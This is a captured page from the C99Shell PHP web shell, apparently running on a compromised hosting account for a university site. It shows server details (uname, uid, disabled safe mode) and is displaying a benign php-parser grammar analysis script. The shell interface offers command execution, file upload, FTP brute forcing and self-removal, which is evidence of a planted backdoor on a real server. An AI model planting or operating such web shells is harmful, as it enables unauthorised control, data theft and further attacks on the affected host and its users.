!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/grammar/   drwxr-xr-x
Free 117.08 GB of 200.55 GB (58.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     analyze.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

const GRAMMAR_FILE './php5.y';

const 
LIB '(?(DEFINE)
    (?<singleQuotedString>\'[^\\\\\']*+(?:\\\\.[^\\\\\']*+)*+\')
    (?<doubleQuotedString>"[^\\\\"]*+(?:\\\\.[^\\\\"]*+)*+")
    (?<string>(?&singleQuotedString)|(?&doubleQuotedString))
    (?<comment>/\*[^*]*+(?:\*(?!/)[^*]*+)*+\*/)
    (?<code>\{[^\'"/{}]*+(?:(?:(?&string)|(?&comment)|(?&code)|/)[^\'"/{}]*+)*+})
)'
;

const 
RULE_BLOCK '(?<name>[a-z_]++):(?<rules>[^\'"/{};]*+(?:(?:(?&string)|(?&comment)|(?&code)|/|})[^\'"/{};]*+)*+);';

$usedTerminals array_flip(array(
    
'T_VARIABLE''T_STRING''T_INLINE_HTML''T_ENCAPSED_AND_WHITESPACE',
    
'T_LNUMBER''T_DNUMBER''T_CONSTANT_ENCAPSED_STRING''T_STRING_VARNAME''T_NUM_STRING'
));
$unusedNonterminals array_flip(array(
    
'case_separator''optional_comma'
));

function 
regex($regex) {
    return 
'~' LIB '(?:' str_replace('~''\~'$regex) . ')~';
}

function 
magicSplit($regex$string) {
    
$pieces preg_split(regex('(?:(?&string)|(?&comment)|(?&code))(*SKIP)(*FAIL)|' $regex), $string);

    foreach (
$pieces as &$piece) {
        
$piece trim($piece);
    }

    return 
array_filter($pieces);
}

echo 
'<pre>';

////////////////////
////////////////////
////////////////////

list($defs$ruleBlocks) = magicSplit('%%'file_get_contents(GRAMMAR_FILE));

if (
'' !== trim(preg_replace(regex(RULE_BLOCK), ''$ruleBlocks))) {
    die(
'Not all rule blocks were properly recognized!');
}

preg_match_all(regex(RULE_BLOCK), $ruleBlocks$ruleBlocksMatchesPREG_SET_ORDER);
foreach (
$ruleBlocksMatches as $match) {
    
$ruleBlockName $match['name'];
    
$rules magicSplit('\|'$match['rules']);

    foreach (
$rules as &$rule) {
        
$parts magicSplit('\s+'$rule);
        
$usedParts = array();

        foreach (
$parts as $part) {
            if (
'{' === $part[0]) {
                
preg_match_all('~\$([0-9]+)~'$part$backReferencesMatchesPREG_SET_ORDER);
                foreach (
$backReferencesMatches as $match) {
                    
$usedParts[$match[1]] = true;
                }
            }
        }

        
$i 1;
        foreach (
$parts as &$part) {
            if (
'/' === $part[0]) {
                continue;
            }

            if (isset(
$usedParts[$i])) {
                if (
'\'' === $part[0] || '{' === $part[0]
                    || (
ctype_upper($part[0]) && !isset($usedTerminals[$part]))
                    || (
ctype_lower($part[0]) && isset($unusedNonterminals[$part]))
                ) {
                    
$part '<span style="background-color: red; color: white;">' $part '</span>';
                } else {
                    
$part '<strong><em>' $part '</em></strong>';
                }
            } elseif ((
ctype_upper($part[0]) && isset($usedTerminals[$part]))
                      || (
ctype_lower($part[0]) && !isset($unusedNonterminals[$part]))

            ) {
                
$part '<span style="background-color: blue; color: white;">' $part '</span>';
            }

            ++
$i;
        }

        
$rule implode(' '$parts);
    }

    echo 
$ruleBlockName':'"\n"'      'implode("\n" '    | '$rules), "\n"';'"\n\n";
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.011 ]--